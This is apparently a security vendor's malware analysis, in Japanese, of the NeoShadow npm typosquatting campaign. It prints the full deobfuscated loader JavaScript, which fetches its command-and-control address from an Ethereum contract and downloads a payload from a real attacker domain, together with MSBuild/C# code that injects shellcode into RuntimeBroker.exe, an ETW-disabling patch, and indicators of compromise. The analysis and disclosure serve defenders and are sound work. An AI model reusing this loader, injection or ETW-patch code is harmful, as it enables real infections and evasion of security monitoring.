Aikido

JavaScript、MSBuild、そしてブロックチェーン:NeoShadow npmサプライチェーン攻撃の解剖

チャーリー・エリクセンチャーリー・エリクセン
|
#
#

12月30日、単一の作者による新たなnpmパッケージが突如大量に公開され、我々の注意を引いた。分析エンジンは公開直後から複数のパッケージを不審と判定した。ステージ2ペイロードに共通して見られる識別子に基づき、このキャンペーン/脅威アクターを「NeoShadow」と命名する。特定されたパッケージは以下の通り:

  • ヴィエム・ジェイエス
  • 暗号通貨
  • テールウィン
  • supabase-js

すべてがユーザーによって解放されました cjh97123これらは全てタイポスクワッティングパッケージであり、特に目新しいものではない。しかし、その内部に見つかった実際のマルウェアには興味をそそられた。一般的なツールでは難読化が容易に解除できないだけでなく、このマルウェアが非常に斬新な動作をしていることが判明したのだ。そこで我々は再び難読化解除ツールチェーンの改良に着手し、このマルウェアの正体を究明することにした。

ステージ0 - npm上の悪意のあるJavaScript

調査の第一段階はこのセットアップファイルから始まりますが、注意してください:間もなく奇妙で素晴らしい領域へと導かれることになります。全パッケージのscripts/setup.jsにあるこのJavaScriptファイルは、Windows専用の多段階ローダーとして機能しますその動作は次の順序で進行する段階として要約できます:

1️⃣ プラットフォームと環境の検証

  • 🪟Windowsでの実行を確認
  • 🧪 Windows システム イベント ログのエントリをカウントすることで、分析回避のためのヒューリスティックを適用します
  • 🚫 低アクティビティ環境やサンドボックス環境では早期に終了する

2️⃣ ブロックチェーンによる動的構成

  • ⛓️ Etherscanのeth_call APIを使用してイーサリアムスマートコントラクトをクエリする
  • 📤 オンチェーンデータから動的に保存された文字列を抽出する
  • 🌐 復号化された値をC2ベースURLとして扱う
  • 🔁 チェーンの検索に失敗した場合、ハードコードされたドメインにフォールバックします

3️⃣ 隠密ペイロード取得

  • 📡 アナリティクスを装ったリモートJavaScriptファイルを要求する
  • 🫥ブロックコメント内に隠されたBase64エンコードされたブロブを特定する
  • 📦 コメントを単なるペイロードコンテナとして使用し、実行可能コードではない

4️⃣ 現地調達実行 (MSBuild)

  • 🛠️ 一時ファイルを書き込みます MSBuild プロジェクト (.proj) ファイル
  • 🧬 CodeTaskFactory を使用してインラインC# コードを埋め込みます
  • 🚫 スタンドアロン実行ファイルを生成またはコンパイルせずに実行します
  • 🧾 信頼できるWindowsバイナリ(MSBuild.exe)に依存します

5️⃣ ペイロード復号化

  • 🔐 Base64ペイロードを復号化します
  • 🔑 最初の16バイトをXORマスク処理することでRC4鍵を導出する
  • 🔓 メモリ内の残りのペイロードを復号化します

6️⃣ プロセスの注入と実行

  • 🧠 RuntimeBroker.exe を一時停止状態で起動する
  • 💉 リモートプロセスにメモリを割り当てます
    ✍️ 復号化されたシェルコードを書き込みます
  • ⚡ 経由で実行する APC注入 (QueueUserAPC + 履歴書スレッド)

7️⃣ 二次的アーティファクトの展開

  • 📥 必要に応じてフォローアップ設定ファイルをダウンロードします
  • 📁 以下の場所に保存します: %APPDATA%\Microsoft\CLR\config.proj

それは多いですね。気になる方は、デオブファスカション後の実際のコードを以下に示します:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

これによりロジックがより明確に見えます。MSBuildとC#コードを使用する斬新なアプローチです。他のバージョンと同様に、ペイロードを https://metrics-flow[.]com/assets/js/analytics.min.js そしてRC4鍵で復号する。 

ステージ1 - MSBuildって何? 

コードで気づく点の一つは、ファイルを取得しようとする試みです _next/data/設定.json C2ドメインから。そこで取得したところ、MSBuildスクリプトの改良版が返されました:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

これによりロジックがより明確に見えます。MSBuildとC#コードを使用する斬新なアプローチです。他のバージョンと同様に、ペイロードを https://metrics-flow[.]com/assets/js/analytics.min.js そしてRC4鍵で復号する。 

ステージ2 - シェルコード解析

この時点で、我々は当然ながら、このような斬新な配信メカニズムに費やされた労力の正当性について疑問を抱いた。ペイロードを復号した後、予想通りシェルコードが含まれていることを確認した。 

復号されたペイロードの生バイトを掘り下げていると、二つの名前がすぐに目についた: ネオシャドウV2導出キー2026 そして グローバル\NSV2_8e4b1d両者の間にある繋がりは無視しがたい。 NS は自然な略語である ネオシャドウ、そして両方の文字列は同じ V2 マーカー。これらを総合すると、偶然や汎用的なものには見えず、作者たちの内部ラベルのように感じられる。この一貫性に基づき、この活動の背後にいる脅威アクターを ネオシャドウ暗号化ルーチンや実行制御に同じ命名規則が繰り返し現れることから、このマルウェアには明確なアイデンティティが認められ、単発の実験ではなく意図的にバージョン管理され、積極的にメンテナンスされているツールセットであることが示唆される。

その後、シェルコードをBinary Ninjaで解析したところ、すぐに半ば読みやすいC言語版が生成されました。ただ…4000行にも及ぶ見苦しいCコードです。🥹

そこで、よりクリーンなバージョンを得るためにそれをClaudeに投入しました。確かに、読みやすい1900行のCコードが生成されました。これで私たちの冒険は次の段階へと進みます。

ステージ3 - 構築中のネズミ

最終的なペイロードは、長期的なアクセスを目的とした完全な機能を備えたバックドアである。実行されるとビーコンループに入り、C2サーバーへのチェックイン、システム情報の報告、コマンドのポーリングを行う。このインプラントは設計上軽量である:アクセスを確立し実行プリミティブを提供する一方、ポストエクスプロイト機能はすべて使い捨てモジュールとしてプッシュダウンされる。

ビーコンの動作

  • 📡 HTTPS POST経由で暗号化されたチェックインを送信します
  • 🪪 ホストフィンガープリントを含みます: コンピュータ名、ユーザー名、エージェントID
  • 🔀 URLパスをランダム化し、正当なトラフィックを模倣する/assets/js/, /api/v1/ /wp-content/など
  • 🏷️ カスタムタグのリクエスト X-エージェントID 被害者追跡用ヘッダー
  • ⏱️ ジッタ付きで設定可能なスリープ間隔をサポート(デフォルト20%)

暗号化

すべてのC2通信は、速度とセキュリティの高さで評価されるストリーム暗号ChaCha20で暗号化されます。鍵はCurve25519 ECDHを介して確立されます。 

コマンドセット

オペレーターは3つのコマンドを利用できます:

睡眠
  • ⏰ ビーコン間隔をリアルタイムで調整します
  • 🔇 持続フェーズ中はオペレーターの動作を静かにするか、積極的な関与時には動作を高速化しましょう
モジュール
  • 🌐 URLからペイロードを取得する
  • 📦 DLLの場合:検索します リフレクティブローダー エクスポート、ディスクに触れずに注入する
  • 💉 シェルコードの場合:直接注入する ランタイムブローカー.exe APC注入による
  • 🧰 ポストエクスプロイトツールを展開する主なメカニズム 
注入する
  • 🔤 コマンド内で直接base64エンコードされたシェルコードを受け付けます
  • 🔒 暗号化されたC2チャネル内にすべてを保持します
  • ⚡ モジュールと同じインジェクションパスで、ネットワークフェッチなし

応答処理

  • ✅ 成功時には OK または DLL OK を返す
  • ❌ 記述エラー: エラー: アロケーション, エラー: フェッチ, エラー: デコード, エラー: インジェクション, エラー: PE ではない
  • 📤 注入されたDLLは、応答で外部に流出される共有バッファへの書き込みが可能である
  • 🔁 すべての通信はビーコンと同じChaCha20暗号化を使用します

この小型で最小限のリモートアクセストロイの木馬(RAT)は非常に巧妙である。その唯一の機能は、永続的なC2リンクを確立し、より強力なマルウェアの第一段階ローダーとして動作することだ。これにより攻撃者は、二次ツール(キーロガーやランサムウェアなど)を展開し、自由に攻撃をエスカレートさせるための柔軟で目立たない侵入経路を得られる。

興味深い特徴

このマルウェアは、自身とそのC2サーバーを隠蔽しようとするいくつかの巧妙な機能を備えており、以下にその概要を説明する。 

🙈ホストを盲目にする:ETWパッチング

Event Tracing for Windows(ETW)は、現代のWindowsテレメトリの中枢神経系です。.NETアセンブリがロードされるとETWが検知し、PowerShellがスクリプトブロックを実行するとETWが記録します。 プロセスが生成される、スレッドが作成される、DLLがロードされる、ネットワーク接続が確立されるといった操作が行われると、ETWイベントが発生し、セキュリティ製品がこれを消費します。エンドポイント検出・対応(EDR)ソリューションやSIEMツールを含むセキュリティプラットフォームは、検知においてETWに大きく依存しています。ETWを無効化すると、これらのセキュリティツールの可視性が著しく損なわれます。これは新しい手法ではなく、長年広く知られている手法であることに留意してください。

そのインプラントはまさにそれを実行する。C2通信を確立する前、あるいは不審な活動を実行する前に、それは位置を特定する。 NtTraceEventntdll.dllすべてのETWイベント発行が最終的に通過する低レベル関数。標準のハッシュベースAPI解決(ハッシュ)を通じてアドレスを解決する。 0xDECFC1BF), その後呼び出す 仮想保護 関数のメモリを書き込み可能にするには:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

書き込みアクセス権を取得すると、関数の最初の4バイトを、何も実行せずに成功を返す単純なスタブで上書きする:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

それだけだ。4バイト。 48 33 C0 C3システム上のすべてのETWイベントの発火が停止します。関数は戻ります。 ステータス_成功 呼び出し元がエラーを発生させたり再試行したりしないが、イベントはカーネルに到達しない。ETWプロバイダーを問い合わせるセキュリティ製品は応答を得られない。

🙈C2サーバーカモフラージュ

それで、C2ドメインを確認しました メトリクスフロー[.]com攻撃者が偽装を試みた様子に私たちは大笑いした。彼らは自動ツールや人間の研究者を惑わす巧妙なセキュリティ層を組み込んでいたのだ。 メインページにアクセスしても、二度と同じ内容が表示されない。代わりにサーバーが完全にランダムな偽コンテンツを配信し、一見すると全く普通の無害なサイトに見えるのだ。実に巧妙で、今後研究者がC2サーバーを特定する作業を容易にするだろう。😀

C2ドメイン

C2ドメインは、マルウェアがnpmに初めて公開されたのとほぼ同時期である2025年12月30日に登録されたことが、whois情報から確認できる:

バージョン2の変更点

これまでの分析はすべて、2025年12月30日にデプロイされたバージョンに基づいています。パッケージの別のバージョンが2026年1月2日にデプロイされました。最も顕著な変更点は、Windows実行ファイルが追加されたことです。 analytics.nodeまた、これに含まれています。VirusTotal上のどのAVもこれを悪意のあるものとして検出していないことに気づきました:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

さらに、JavaScriptファイルは異なる方法で難読化されており、元のバージョンよりも難読化解除が困難です。今回のリリースには新たな難読化技術が採用されているようです。 

また、このプロジェクトが「NeoShadow」と呼ばれていることへの言及も得ています: C:\\Users\\admin\\デスクトップ\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

結論 

現時点では、C2サーバーから動的ペイロードを取得する試みは行っていません。しかし、独自のC2サーバー、RAT、配信メカニズム、およびC2サーバーを隠蔽するための偽装技術を構築した、これまで未記録の大規模キャンペーンの一環として、新規マルウェアと推測されるものを配信しようとする、高度に設計された試みを明確に確認しています。 

🚨 侵害の兆候

  • ドメイン: メトリクスフロー[.]com
  • IPアドレス: 80.78.22[.]206
  • バイナリ012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • イーサリアムアドレス: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • ミューテックス名: グローバル\NSV2_8e4b1d
  • NPMパッケージ:
    • ヴィエム・ジェイエス
    • 暗号通貨
    • テールウィン
    • supabase-js

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。